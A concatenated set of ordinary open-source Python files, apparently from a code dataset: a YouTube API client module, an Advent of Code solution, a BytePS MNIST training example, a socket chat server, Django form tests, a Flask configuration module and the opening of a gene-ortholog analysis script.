in resp['items']:\n if item['kind'] == \"youtube#video\":\n video.chid = item['snippet']['channelId']\n ''' We need other fields besides CHANID\n if we extract URLs. This multi-purpose\n procedure allows us to get those fields\n by the same quota cost.\n '''\n if not video.desc:\n video.author = item['snippet']['channelTitle']\n video.ptime = sh.com.get_yt_date(item['snippet']['publishedAt'])\n video.title = item['snippet']['title']\n video.desc = item['snippet']['description']\n video.thumb = item['snippet']['thumbnails']['default']['url']\n # There is only 1 suitable section\n return video\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.rep_empty(f)\n \n def get_length(self):\n f = '[Yatube] meta.VideoInfo.get_length'\n video = objs.videos.get_current()\n if video.id_:\n resp = None\n try:\n resp = com.get_service().videos().list (id = video.id_\n ,part = 'id,contentDetails'\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if resp:\n try:\n for item in resp['items']:\n if item['kind'] == \"youtube#video\":\n length = item['contentDetails']['duration']\n length = sh.com.get_yt_length(length)\n if length:\n if isinstance(length,(float,int)):\n video.len_ = length\n return video.len_\n else:\n mes = _('Wrong input data: \"{}\"!')\n mes = mes.format(length)\n sh.objs.get_mes(f,mes).show_error()\n else:\n sh.com.rep_empty(f)\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.rep_empty(f)\n \n def set_stat(self):\n f = '[Yatube] meta.VideoInfo.set_stat'\n video = objs.videos.get_current()\n if video.id_:\n resp = None\n try:\n resp = com.get_service().videos().list (id = video.id_\n ,part = 'id,statistics'\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if resp:\n try:\n for item in resp['items']:\n if item['kind'] == \"youtube#video\":\n video.views = sh.Input (title = f\n ,value = item['statistics']['viewCount']\n ).get_integer()\n if 'likeCount' in item['statistics']:\n video.likes = sh.Input (title = f\n ,value = item['statistics']['likeCount']\n ).get_integer()\n else:\n video.likes = -1\n if 'dislikeCount' in item['statistics']:\n video.dislikes = sh.Input (title = f\n ,value = item['statistics']['dislikeCount']\n ).get_integer()\n else:\n video.dislikes = -1\n if 'commentCount' in item['statistics']:\n video.com_num = sh.Input (title = f\n ,value = item['statistics']['commentCount']\n ).get_integer()\n else:\n video.com_num = -1\n # There is only 1 suitable section\n return True\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.rep_empty(f)\n\n\n\nclass Stat:\n \n def __init__(self):\n self.quota = 0\n ''' Timestamp when the program was started. This can be used\n to get a daily quota cost.\n '''\n self.started = sh.Time(pattern='%Y-%m-%d %H:%M:%S').get_timestamp()\n \n def get_uptime(self):\n return sh.Time(pattern='%Y-%m-%d %H:%M:%S').get_timestamp() - self.started\n \n # Quota should be added even in case of invalid requests\n def add_quota(self,number):\n self.quota += number\n \n def report(self,Silent=False):\n f = '[Yatube] meta.Stat.report'\n sub = sh.com.get_human_time(self.get_uptime())\n mes = _('Uptime: {}').format(sub)\n mes += '\\n'\n mes += _('Used quota: {}').format(self.quota)\n sh.objs.get_mes(f,mes,Silent).show_info()\n\n\n\nclass Playlist:\n \n def __init__(self,playid=None):\n self.set_values()\n if playid:\n self.reset(playid)\n \n def run(self):\n self.fetch()\n self.set_videos()\n \n def set_videos(self):\n f = '[Yatube] meta.Playlist.set_videos'\n if self.Success:\n if self.resp:\n try:\n for item in self.resp['items']:\n if item['snippet']['resourceId']['kind'] == \"youtube#video\":\n video = Video()\n video.id_ = item['snippet']['resourceId']['videoId']\n video.author = item['snippet']['channelTitle']\n video.chid = item['snippet']['channelId']\n video.playid = item['snippet']['playlistId']\n video.ptime = sh.com.get_yt_date(item['snippet']['publishedAt'])\n video.title = item['snippet']['title']\n video.desc = item['snippet']['description']\n video.thumb = item['snippet']['thumbnails']['default']['url']\n objs.get_videos().add(video)\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def check(self):\n f = '[Yatube] meta.Playlist.check'\n if self.playid:\n if self.playid.startswith('UU') and len(self.playid) == 24:\n return True\n else:\n self.Success = False\n mes = _('Wrong input data: \"{}\"!').format(self.playid)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n self.Success = False\n sh.com.rep_empty(f)\n \n def reset(self,playid):\n f = '[Yatube] meta.Playlist.reset'\n self.set_values()\n self.playid = playid\n self.check()\n \n def set_values(self):\n self.Success = True\n self.resp = {}\n self.next = ''\n self.prev = ''\n self.playid = ''\n \n def fetch(self,token=''):\n f = '[Yatube] meta.Playlist.fetch'\n if self.Success:\n try:\n self.resp = com.get_service().playlistItems().list (playlistId = self.playid\n ,part = 'id,snippet'\n ,maxResults = MAX_VIDEOS\n ,pageToken = token\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(3)\n if self.resp:\n try:\n self.prev = self.resp['prevPageToken']\n except KeyError:\n self.prev = ''\n try:\n self.next = self.resp['nextPageToken']\n except KeyError:\n self.next = ''\n mes = _('The end of the channel has been reached!')\n sh.objs.get_mes(f,mes,True).show_info()\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_next(self):\n f = '[Yatube] meta.Playlist.fetch_next'\n if self.Success:\n if self.resp and self.next:\n self.fetch(token=self.next)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_prev(self):\n f = '[Yatube] meta.Playlist.fetch_prev'\n if self.Success:\n if self.resp and self.prev:\n self.fetch(token=self.prev)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n\n\n\nclass Search:\n \n def __init__(self,query=''):\n self.set_values()\n if query:\n self.reset(query)\n \n def check(self):\n if self.query:\n return True\n else:\n self.Success = False\n sh.com.rep_empty(f)\n \n def fetch(self,token=''):\n f = '[Yatube] meta.Search.fetch'\n if self.Success:\n try:\n self.resp = com.get_service().search().list (q = self.query\n ,part = 'id,snippet'\n ,maxResults = MAX_VIDEOS\n ,safeSearch = 'none'\n ,pageToken = token\n ).execute()\n except Exception as e:\n com.show_error(f,e)\n objs.get_stat().add_quota(100)\n if self.resp:\n try:\n self.prev = self.resp['prevPageToken']\n except KeyError:\n self.prev = ''\n try:\n self.next = self.resp['nextPageToken']\n except KeyError:\n mes = _('The end of the channel has been reached!')\n sh.objs.get_mes(f,mes,True).show_info()\n self.next = ''\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_next(self):\n f = '[Yatube] meta.Search.fetch_next'\n if self.Success:\n if self.resp and self.next:\n self.fetch(token=self.next)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def fetch_prev(self):\n f = '[Yatube] meta.Search.fetch_prev'\n if self.Success:\n if self.resp and self.prev:\n self.fetch(token=self.prev)\n else:\n sh.com.rep_empty(f)\n else:\n sh.com.cancel(f)\n \n def run(self):\n self.fetch()\n self.set_videos()\n \n def set_videos(self):\n f = '[Yatube] meta.Search.set_videos'\n if self.Success:\n try:\n for item in self.resp['items']:\n if item['id']['kind'] == \"youtube#video\":\n video = Video()\n video.id_ = item['id']['videoId']\n video.author = item['snippet']['channelTitle']\n video.chid = item['snippet']['channelId']\n video.ptime = sh.com.get_yt_date(item['snippet']['publishedAt'])\n video.title = item['snippet']['title']\n video.desc = item['snippet']['description']\n video.thumb = item['snippet']['thumbnails']['default']['url']\n objs.get_videos().add(video)\n except KeyError as e:\n mes = _('Missing key: \"{}\"!').format(e)\n sh.objs.get_mes(f,mes).show_warning()\n else:\n sh.com.cancel(f)\n \n def set_values(self):\n self.Success = True\n self.resp = {}\n self.next = ''\n self.prev = ''\n self.query = ''\n \n def reset(self,query):\n f = '[Yatube] meta.Search.reset'\n self.set_values()\n self.query = query\n self.check()\n\n\n\nclass Video:\n \n def __init__(self):\n self.Block = False\n self.Saved = None\n self.bytes_ = None\n self.gui = None\n self.image = None\n self.com_num = 0\n self.dislikes = 0\n self.len_ = 0\n self.likes = 0\n self.pause = 0\n self.views = 0\n self.dtime = 0.0\n self.fdtime = 0.0\n self.ftime = 0.0\n self.ltime = 0.0\n self.ptime = 0.0\n self.author = ''\n self.chid = ''\n self.desc = ''\n self.dir_ = ''\n self.id_ = ''\n self.playid = ''\n self.page = ''\n self.path = ''\n self.pathsh = ''\n self.search = ''\n self.thumb = ''\n self.title = ''\n self.url = ''\n\n\n\nclass Videos:\n \n def __init__(self):\n self.reset()\n \n def set_gui(self,gui):\n f = '[Yatube] meta.Videos.set_gui'\n if gui:\n for self.i in range(len(self.videos)):\n if self.videos[self.i].gui == gui:\n return True\n else:\n sh.com.rep_empty(f)\n \n def get_current(self):\n f = '[Yatube] meta.Videos.get_current'\n if not self.videos:\n sh.com.rep_empty(f)\n self.add(Video)\n if self.i < len(self.videos):\n return self.videos[self.i]\n else:\n sub = '{} < {}'.format(self.i,len(self.videos))\n mes = _('The condition \"{}\" is not observed!').format(sub)\n sh.objs.get_mes(f,mes).show_error()\n return Video()\n \n def add(self,video):\n f = '[Yatube] meta.Videos.video'\n if video:\n video.author = html.unescape(video.author)\n video.title = html.unescape(video.title)\n video.desc = html.unescape(video.desc)\n self.videos.append(video)\n else:\n sh.com.rep_empty(f)\n \n def reset(self):\n self.set_values()\n \n def set_values(self):\n self.videos = []\n self.i = 0\n \n # Orphan, debug\n def show_summary(self):\n f = '[Yatube] meta.Videos.show_summary'\n if self.videos:\n istr = io.StringIO()\n for i in range(len(self.videos)):\n istr.write('#%d:' % (i+1))\n istr.write('\\n')\n istr.write(_('ID:'))\n istr.write(' ')\n istr.write(self.videos[i].id_)\n istr.write('\\n')\n istr.write(_('Author:'))\n istr.write(' ')\n istr.write(self.videos[i].author)\n istr.write('\\n')\n istr.write(_('Title:'))\n istr.write(' ')\n istr.write(self.videos[i].title)\n istr.write('\\n')\n istr.write(_('Date:'))\n istr.write(' ')\n itime = sh.Time (tstamp = self.videos[i].ptime\n ,pattern = '%Y-%m-%d %H:%M'\n )\n istr.write(str(itime.get_date()))\n istr.write('\\n')\n istr.write(_('Image:'))\n istr.write(' ')\n istr.write(self.videos[i].thumb)\n istr.write('\\n\\n')\n message = istr.getvalue()\n istr.close()\n sh.objs.get_mes(f,message).show_info()\n else:\n sh.com.rep_empty(f)\n\n\n\nclass Objects:\n \n def __init__(self):\n self.playlist = self.videos = self.search = self.stat \\\n = self.comments = self.playid = self.trending \\\n = self.credentials = None\n \n def get_credentials(self):\n if self.credentials is None:\n self.credentials = Credentials()\n return self.credentials\n \n def get_trending(self):\n if self.trending is None:\n self.trending = Trending()\n return self.trending\n \n def get_playid(self):\n if self.playid is None:\n self.playid = PlayId()\n return self.playid\n \n def get_comments(self):\n if self.comments is None:\n self.comments = Comments()\n return self.comments\n \n def get_playlist(self):\n if self.playlist is None:\n self.playlist = Playlist()\n return self.playlist\n \n def get_stat(self):\n if self.stat is None:\n self.stat = Stat()\n return self.stat\n \n def get_search(self):\n if self.search is None:\n self.search = Search()\n return self.search\n \n def get_videos(self):\n if self.videos is None:\n self.videos = Videos()\n return self.videos\n\n\n\nclass Commands:\n \n def get_service(self):\n f = '[Yatube] meta.Commands.get_service'\n ''' Since this call quickly expires, we should rerun each time\n we use it.\n '''\n try:\n return build ('youtube','v3'\n ,developerKey = API_KEY\n ,cache = MemoryCache()\n )\n except Exception as e:\n self.show_error(f,e)\n \n def show_error(self,f,e):\n e = str(e)\n if 'you have exceeded your' in e and 'quota' in e \\\n or 'Daily Limit Exceeded' in e:\n mes = _('Quota has been exceeded!')\n sh.objs.get_mes(f,mes).show_warning()\n elif 'has disabled comments' in e:\n mes = _('Comments are disabled for this video.')\n sh.objs.get_mes(f,mes).show_info()\n elif 'The playlist identified with the requests playlistId parameter cannot be found.' in e:\n mes = _('This channel is not available!')\n sh.objs.get_mes(f,mes).show_warning()\n else:\n mes = _('Third-party module has failed!\\n\\nDetails: {}')\n mes = mes.format(e)\n sh.objs.get_mes(f,mes).show_warning()\n\n\nobjs = Objects()\ncom = Commands()\n\n\nif __name__ == '__main__':\n f = 'meta.__main__'\n sh.com.start()\n objs.get_playlist().reset('UU63-vXUchmKqP7K9WE2jCfg')\n objs.playlist.run()\n video = objs.get_videos().get_current()\n print('CHANID:',video.chid)\n print('PLAYID:',video.playid)\n sh.com.end()\n","repo_name":"sklprogs/Yatube","sub_path":"src/meta.py","file_name":"meta.py","file_ext":"py","file_size_in_byte":35119,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"14228306336","text":"#!/usr/bin/env python\n\nclass Sensor:\n def __init__(self, x, y, b_x, b_y):\n self.x = x\n self.y = y\n self.b_x = b_x\n self.b_y = b_y\n self.b_dist = self.getDist(b_x, b_y)\n self.min_x = x - self.b_dist\n self.min_y = y - self.b_dist\n self.max_x = x + self.b_dist\n self.max_y = y + self.b_dist\n\n def getDist(self, x, y):\n return abs(self.x - x) + abs(self.y - y)\n\n\ndef main():\n with open('puzzle_input.txt', 'r') as f:\n input_lines = f.read().splitlines()\n\n sensors: list[Sensor] = []\n strip_chars = 'xy=,:'\n for line in input_lines:\n items = line.split()\n x = int(items[2].strip(strip_chars))\n y = int(items[3].strip(strip_chars))\n b_x = int(items[8].strip(strip_chars))\n b_y = int(items[9].strip(strip_chars))\n sensors.append(Sensor(x, y, b_x, b_y))\n\n group: list[Sensor] = []\n for sensor1 in sensors:\n if sensor1 in group:\n continue\n for sensor2 in sensors:\n if sensor1 is sensor2:\n continue\n if sensor2 in group:\n continue\n distance = sensor1.getDist(sensor2.x, sensor2.y)\n if distance == sensor1.b_dist + sensor2.b_dist + 2:\n group.append(sensor1)\n group.append(sensor2)\n\n # oh god I have to do math!\n\n # find the line segments\n x1 = group[0].x\n y1 = group[0].y\n if group[0].y < group[1].y:\n y1 += group[0].b_dist + 1\n else:\n y1 -= group[0].b_dist + 1\n\n x2 = group[0].x\n y2 = group[0].y\n if group[0].x < group[1].x:\n x2 += group[0].b_dist + 1\n else:\n x2 -= group[0].b_dist + 1\n\n x3 = group[2].x\n y3 = group[2].y\n if group[2].y < group[3].y:\n y3 += group[2].b_dist + 1\n else:\n y3 -= group[2].b_dist + 1\n\n x4 = group[2].x\n y4 = group[2].y\n if group[2].x < group[3].x:\n x4 += group[2].b_dist + 1\n else:\n x4 -= group[2].b_dist + 1\n\n # do some freakin math\n m1 = (y2 - y1) / (x2 - x1)\n m2 = (y4 - y3) / (x4 - x3)\n b1 = y1 - m1 * x1\n b2 = y3 - m2 * x3\n xi = (b1 - b2) / (m2 - m1)\n yi = m1 * xi + b1\n\n print('Tuning frequency:', int(xi * 4000000 + yi))\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"robro/aoc2022","sub_path":"15/15b.py","file_name":"15b.py","file_ext":"py","file_size_in_byte":2290,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22449037872","text":"import tensorflow as tf\nimport byteps.tensorflow as bps\n\nbps.init()\n\n# BytePS: pin GPU to be used to process local rank (one GPU per process)\ngpus = tf.config.experimental.list_physical_devices('GPU')\nfor gpu in gpus:\n tf.config.experimental.set_memory_growth(gpu, True)\nif gpus:\n tf.config.experimental.set_visible_devices(gpus[bps.local_rank()], 'GPU')\n\n# Before launching, need to fist download the dataset to ~/.keras/datasets\n(mnist_images, mnist_labels), _ = \\\n tf.keras.datasets.mnist.load_data(path='mnist-%d.npz' % bps.rank())\n\ndataset = tf.data.Dataset.from_tensor_slices(\n (tf.cast(mnist_images[..., tf.newaxis] / 255.0, tf.float32),\n tf.cast(mnist_labels, tf.int64))\n)\ndataset = dataset.repeat().shuffle(10000).batch(128)\n\nmnist_model = tf.keras.Sequential([\n tf.keras.layers.Conv2D(32, [3, 3], activation='relu'),\n tf.keras.layers.Conv2D(64, [3, 3], activation='relu'),\n tf.keras.layers.MaxPooling2D(pool_size=(2, 2)),\n tf.keras.layers.Dropout(0.25),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(128, activation='relu'),\n tf.keras.layers.Dropout(0.5),\n tf.keras.layers.Dense(10, activation='softmax')\n])\nloss = tf.losses.SparseCategoricalCrossentropy()\n\nopt = tf.optimizers.Adam(0.001 * bps.size())\n\ncheckpoint_dir = './checkpoints'\ncheckpoint = tf.train.Checkpoint(model=mnist_model, optimizer=opt)\n\n\n@tf.function\ndef training_step(images, labels, first_batch):\n with tf.GradientTape() as tape:\n probs = mnist_model(images, training=True)\n loss_value = loss(labels, probs)\n\n tape = bps.DistributedGradientTape(tape)\n\n grads = tape.gradient(loss_value, mnist_model.trainable_variables)\n opt.apply_gradients(zip(grads, mnist_model.trainable_variables))\n\n # Note: broadcast should be done after the first gradient step to ensure optimizer\n # initialization.\n if first_batch:\n bps.broadcast_variables(mnist_model.variables, root_rank=0)\n bps.broadcast_variables(opt.variables(), root_rank=0)\n\n return loss_value\n\n\n# BytePS: adjust number of steps based on number of GPUs.\nfor batch, (images, labels) in enumerate(dataset.take(10000 // bps.size())):\n loss_value = training_step(images, labels, batch == 0)\n\n if batch % 10 == 0 and bps.local_rank() == 0:\n print('Step #%d\\tLoss: %.6f' % (batch, loss_value))\n\nif bps.rank() == 0:\n checkpoint.save(checkpoint_dir)","repo_name":"bytedance/byteps","sub_path":"example/tensorflow/tensorflow2_mnist.py","file_name":"tensorflow2_mnist.py","file_ext":"py","file_size_in_byte":2391,"program_lang":"python","lang":"en","doc_type":"code","stars":3517,"dataset":"github-code","pt":"3"} +{"seq_id":"27792039541","text":"from collections import defaultdict\n\nmy_dict = defaultdict(object)\nmy_dict = {1: 'a'}\n\nprint(my_dict[2]) # object если нет такого ключа\n\ns = 'Hello'\nd = defaultdict(int)\nfor k in s:\n d[k] += 1\n print(sorted(d.items()))","repo_name":"EvgeniyBudaev/python_learn","sub_path":"advanced_modules/colections_default_dict.py","file_name":"colections_default_dict.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"7513638701","text":"'Chat Room Connection - Client=To-Client'\nimport threading\nimport socket \nimport sys\nhost = '127.0.0.1' #localhost\nport = 8000\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind((host, port))\nserver.listen()\n\nclients = []\naliases = []\n\n# Functions to hanlde clients connections\n\n\ndef broadcast(message):\n for client in clients:\n client.send(message)\n\ndef handle_client(client):\n while True:\n try:\n msg = message = client.recv(1024)\n if msg.decode().startswith('REMOVE'):\n client_that_quit = msg.decode()[7:]\n quit_client(client_that_quit)\n else: \n broadcast(message)\n except:\n if client in clients:\n index = clients.index(client)\n clients.remove(client)\n client.close()\n alias = aliases[index]\n broadcast(f'{alias} has left the chat room!'.encode('utf-8'))\n aliases.remove(alias)\n break\n\n\ndef quit_client(name):\n name_index = aliases.index(name)\n client_to_remove = clients[name_index]\n clients.remove(client_to_remove)\n client_to_remove.close()\n aliases.remove(name)\n print(f'{name} has quit the chat.')\n broadcast(f'{name} has quit the chat.'.encode())\n\n\n#Main Function to recieve the clients connection\n\n\ndef receive():\n while True:\n print('Server is Running and Listening ....')\n client, address = server.accept()\n print(f'connection is established with {str(address)}')\n \n client.send(bytes('alias', 'utf-8'))\n alias = client.recv(1024).decode('utf-8')\n print(alias)\n aliases.append(alias)\n clients.append(client)\n \n print(f'The alias of this client is {alias}.\\n')\n print(f'{alias} has connected to the chat room.\\n')\n broadcast(f'{alias} has connected to the chat room.\\n'.encode('utf-8'))\n client.send('You are now connected!\\n'.encode('utf-8'))\n \n thread = threading.Thread(target = handle_client, args=(client,))\n thread.start()\n\n\nif __name__ == \"__main__\" :\n receive()\n","repo_name":"curs3dmav3r/groupchat","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"86408713877","text":"import shutil\nimport tempfile\n\nfrom django.contrib.auth import get_user_model\nfrom django.test import Client, TestCase, override_settings\nfrom django.urls import reverse\nfrom django.conf import settings\nfrom django.core.files.uploadedfile import SimpleUploadedFile\n\nfrom ..models import Post, Group\n\nTEMP_MEDIA_ROOT = tempfile.mkdtemp(dir=settings.BASE_DIR)\n\nUser = get_user_model()\n\n\n@override_settings(MEDIA_ROOT=TEMP_MEDIA_ROOT)\nclass FormTests(TestCase):\n\n @classmethod\n def setUpClass(cls):\n super().setUpClass()\n\n shutil.rmtree(TEMP_MEDIA_ROOT, ignore_errors=True)\n\n cls.author = User.objects.create_user(username='author')\n cls.author_client = Client()\n cls.author_client.force_login(cls.author)\n\n cls.small_gif = (\n b'\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00'\n b'\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00'\n b'\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00'\n b'\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00'\n b'\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C'\n b'\\x0A\\x00\\x3B'\n )\n Post.objects.create(\n author=cls.author,\n text='Первый пост',\n )\n\n @classmethod\n def tearDownClass(cls):\n super().tearDownClass()\n shutil.rmtree(TEMP_MEDIA_ROOT, ignore_errors=True)\n\n def test_new_post(self):\n self.assertEqual(Post.objects.all().count(), 1)\n\n small_gif = (\n b'\\x47\\x49\\x46\\x38\\x39\\x61\\x02\\x00'\n b'\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00'\n b'\\xFF\\xFF\\xFF\\x21\\xF9\\x04\\x00\\x00'\n b'\\x00\\x00\\x00\\x2C\\x00\\x00\\x00\\x00'\n b'\\x02\\x00\\x01\\x00\\x00\\x02\\x02\\x0C'\n b'\\x0A\\x00\\x3B'\n )\n uploaded = SimpleUploadedFile(\n name='small.gif',\n content=small_gif,\n content_type='image/gif'\n )\n\n url = reverse('posts:create_post')\n data = {\n 'text': 'Новый пост',\n 'image': uploaded,\n }\n FormTests.author_client.post(url, data=data)\n\n self.assertEqual(Post.objects.all().count(), 2)\n\n new_post = Post.objects.order_by('id').last()\n self.assertEqual(new_post.text, data['text'])\n self.assertEqual(new_post.image, \"posts/small.gif\")\n\n def test_edit_post(self):\n updated_post_text = 'Изменный пост'\n post = Post.objects.all().last()\n self.assertNotEqual(post.text, updated_post_text)\n\n url = reverse('posts:post_edit', kwargs={\n 'post_id': post.id,\n })\n\n FormTests.author_client.post(url, data={\n 'text': updated_post_text,\n })\n post.refresh_from_db()\n self.assertEqual(post.text, updated_post_text)\n\n def test_new_post_group(self):\n self.assertEqual(Post.objects.all().count(), 1)\n url = reverse('posts:create_post')\n new_post_text = 'Новый пост'\n group = Group.objects.create(\n title='Тестовая группа',\n slug='Slug',\n description='Тестовое описание',\n )\n data = {\n 'text': new_post_text,\n 'group': group.id,\n }\n FormTests.author_client.post(url, data=data)\n\n self.assertEqual(Post.objects.all().count(), 2)\n\n new_post = Post.objects.order_by('id').filter(group=group).last()\n self.assertEqual(new_post.text, new_post_text)\n self.assertEqual(new_post.group, group)\n\n def test_new_post_anonim(self):\n self.assertEqual(Post.objects.all().count(), 1)\n\n url = reverse('posts:create_post')\n new_post_text = 'Новый пост'\n data = {\n 'text': new_post_text,\n }\n response = self.client.post(url, data=data)\n # здесь мы проверяем что пост не создан анонимом\n self.assertEqual(Post.objects.all().count(), 1)\n self.assertEqual(response.status_code, 302)\n\n updated_post_text = 'Изменный пост'\n post = Post.objects.all().last()\n\n url = reverse('posts:post_edit', kwargs={\n 'post_id': post.id,\n })\n\n self.client.post(url, data={\n 'text': updated_post_text,\n })\n self.assertEqual(Post.objects.all().count(), 1)\n self.assertEqual(response.status_code, 302)\n","repo_name":"Tastybaev/hw05_final","sub_path":"yatube/posts/tests/test_forms.py","file_name":"test_forms.py","file_ext":"py","file_size_in_byte":4358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"46402339168","text":"# Dadas dos listas, imprime el nombre junto con la edad de la persona\n# Jose 29\n# Diana 28\n# Hacer dos scripts, uno usando for y otro usando while\n\npeople = [\"Jonas\", \"Julio\", \"Mike\", \"Mez\"]\nages = [25, 30, 31, 39, 40, 60]\nemails = [\"1@t.com\", \"2@t.com\", \"3@t.com\", \"4@t.com\",\"5@t.com\"]\n\nlength = len(people)\n\n# for i in range(0, length):\n# name = people[i]\n# age = ages[i]\n# print(f\"{name} {age}\")\n\n# index = 0\n# while index < length:\n# name = people[index]\n# age = ages[index]\n# print(f\"{name} {age}\")\n# index += 1\n\nfor name, age, email in zip(people, ages, emails):\n print(f\"{name} {age} {email}\")\n","repo_name":"jotathebest/mintic_class_examples","sub_path":"P47/21-05-2021/exercise_2.py","file_name":"exercise_2.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"} +{"seq_id":"43383868728","text":"import os\n\nif 'DEBUG' in os.environ and os.environ['DEBUG'] == 'True':\n DEBUG = True\n TESTING = True\nelse:\n DEBUG = False\n TESTING = False\n\n\n####################\n# CSRF configuration\n####################\n\nSECRET_KEY = os.environ['SECRET_KEY']\n# activates the cross-site request forgery prevention in Flask-WTF\nWTF_CSRF_ENABLED = True\n\n########################\n# Database configuration\n########################\n\nMYSQL_DATABASE = os.environ['MYSQL_DATABASE']\nMYSQL_USER = os.environ['MYSQL_USER']\nMYSQL_PASSWORD = os.environ['MYSQL_PASSWORD']\nMYSQL_HOST = os.environ['MYSQL_HOST']\nMYSQL_PORT = os.environ['MYSQL_PORT']\nSQLALCHEMY_TRACK_MODIFICATIONS = False\nSQLALCHEMY_DATABASE_URI = 'mysql+pymysql://{0}:{1}@{2}:{3}/{4}'.format(\n MYSQL_USER, MYSQL_PASSWORD, MYSQL_HOST, MYSQL_PORT, MYSQL_DATABASE\n)\nSQLALCHEMY_POOL_SIZE = 0\nUPLOAD_FOLDER = os.environ['UPLOAD_FOLDER']\n\n###############################\n# Challenge's related variables\n###############################\n\nCHALLENGE_MAX_SOURCE_SIZE_IN_MB = int(\n os.environ['CHALLENGE_MAX_SOURCE_SIZE_IN_MB'])\nCHALLENGE_MAX_MEM_COMPILATION_IN_MB = int(\n os.environ['CHALLENGE_MAX_MEM_COMPILATION_IN_MB'])\nCHALLENGE_MAX_TIME_COMPILATION_IN_SECS = int(\n os.environ['CHALLENGE_MAX_TIME_COMPILATION_IN_SECS'])\nCHALLENGE_MAX_BINARY_SIZE_IN_MB = int(\n os.environ['CHALLENGE_MAX_BINARY_SIZE_IN_MB'])\nCHALLENGE_MAX_MEM_EXECUTION_IN_MB = int(\n os.environ['CHALLENGE_MAX_MEM_EXECUTION_IN_MB'])\nCHALLENGE_MAX_TIME_EXECUTION_IN_SECS = int(\n os.environ['CHALLENGE_MAX_TIME_EXECUTION_IN_SECS'])\nCHALLENGE_NUMBER_OF_TEST_VECTORS = int(\n os.environ['CHALLENGE_NUMBER_OF_TEST_VECTORS'])\nMAX_CONTENT_LENGTH = CHALLENGE_MAX_SOURCE_SIZE_IN_MB << 20\n\nSTARTING_DATE = int(os.environ['STARTING_DATE'])\nPOSTING_DEADLINE = int(os.environ['POSTING_DEADLINE'])\nFINAL_DEADLINE = int(os.environ['FINAL_DEADLINE'])\n\n\n#############\n# Other stuff\n#############\n\nURL_COMPILE_AND_TEST = os.environ['URL_COMPILE_AND_TEST']\n\nRECAPTCHA_PUBLIC_KEY = os.environ['RECAPTCHA_PUBLIC_KEY']\nRECAPTCHA_PRIVATE_KEY = os.environ['RECAPTCHA_PRIVATE_KEY']\nRECAPTCHA_PARAMETERS = {'hl': 'en'}\n\nMAX_RANK_OF_PLOTED_CHALLENGES = 30\n","repo_name":"CryptoExperts/whibox_contest_submission_server","sub_path":"services/web-dev/app/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":31,"dataset":"github-code","pt":"3"} +{"seq_id":"36295498065","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport matplotlib\nfrom numpy import log10\nfrom numpy import mean\nimport pickle as pk\nimport argparse\n\nparser = argparse.ArgumentParser(description='Extract one_to_one ortholog from ortholofinder output (use alfalfa_vs_clover file), \\\ncreate a table of raw counts and tpm of orthologs for differential expression analysis, \\\ncalculate the length of alfalfa and clover genes also for differential expression analysis')\n\nparser.add_argument('-i',required=True,help='ortholofinder output (alfalfa__v__clover.tsv)')\nparser.add_argument('-o',required=True,help='output folder')\nparser.add_argument('-at',required=True,help='alfalfa gene id and trans id tab separate file')\nparser.add_argument('-ct',required=True,help='clover gene id and trans id tab separate file')\nparser.add_argument('-as',required=True,help='salmon_merge.py alfalfa tpm output file (e.g. alfalfa_triplicate_salmon_tpm.txt)')\nparser.add_argument('-cs',required=True,help='salmon_merge.py clover tpm output file (e.g. clover_triplicate_salmon_tpm.txt)')\nparser.add_argument('-al',required=True,help='salmon_merge.py alfalfa gene length info file (e.g. alfalfa_length.txt)')\nparser.add_argument('-cl',required=True,help='salmon_merge.py clover gene length info file (e.g. alfalfa_length.txt)')\nargs = vars(parser.parse_args())\n\n\ndef ortholog_group(orth_file,af_trans_list,cl_trans_list,al_tpm,cl_tpm,out):\n alfalfa_ortholog_dict = {}\n clover_ortholog_dict = {}\n total_dict = {}\n alfalfa_out = open(out + 